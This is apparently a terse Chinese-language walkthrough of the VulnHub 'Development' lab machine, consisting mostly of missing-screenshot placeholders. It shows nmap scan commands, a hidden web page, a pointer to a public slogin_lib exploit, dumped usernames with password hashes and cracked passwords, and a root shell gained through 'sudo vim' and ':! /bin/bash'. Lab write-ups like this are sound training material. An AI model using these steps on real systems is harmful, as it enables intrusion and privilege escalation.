Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


vulnhub >_ Development

Development

sudo nmap -Pn -v -p- -sS -T5 192.168.43.16

image-20200609015640191

sudo nmap -v -T4 -sC -sV -p22,113,139,445,8080 192.168.43.16

image-20200609020305877

image-20200609020436469

image-20200609020522951

image-20200609025850000

image-20200609030000322

image-20200609025927392

image-20200609030308050

image-20200609034055766

http://192.168.43.16:8080/developmentsecretpage

image-20200609030352781

image-20200609033609532

image-20200609033628979

随便尝试一个密码

image-20200609033732483

slogin_lib.inc.php

image-20200609075811498

https://www.exploit-db.com/exploits/7444

image-20200609082652891

image-20200609081843908

admin, 3cb1d13bb83ffff2defe8d1443d3a0eb
intern, 4a8a2b374f463b7aedbb44a066363b81	12345678900987654321
patrick, 87e6d56ce79af90dbe07d387d3d0579e	P@ssw0rd25
qiu, ee64497098d0926d198f54f6d5431f98		qiu

image-20200609083553230

image-20200609083648687

image-20200609083738715

image-20200609083817145

patrick@development:/home/intern$ sudo /usr/bin/vim
:! /bin/bash

image-20200609084017496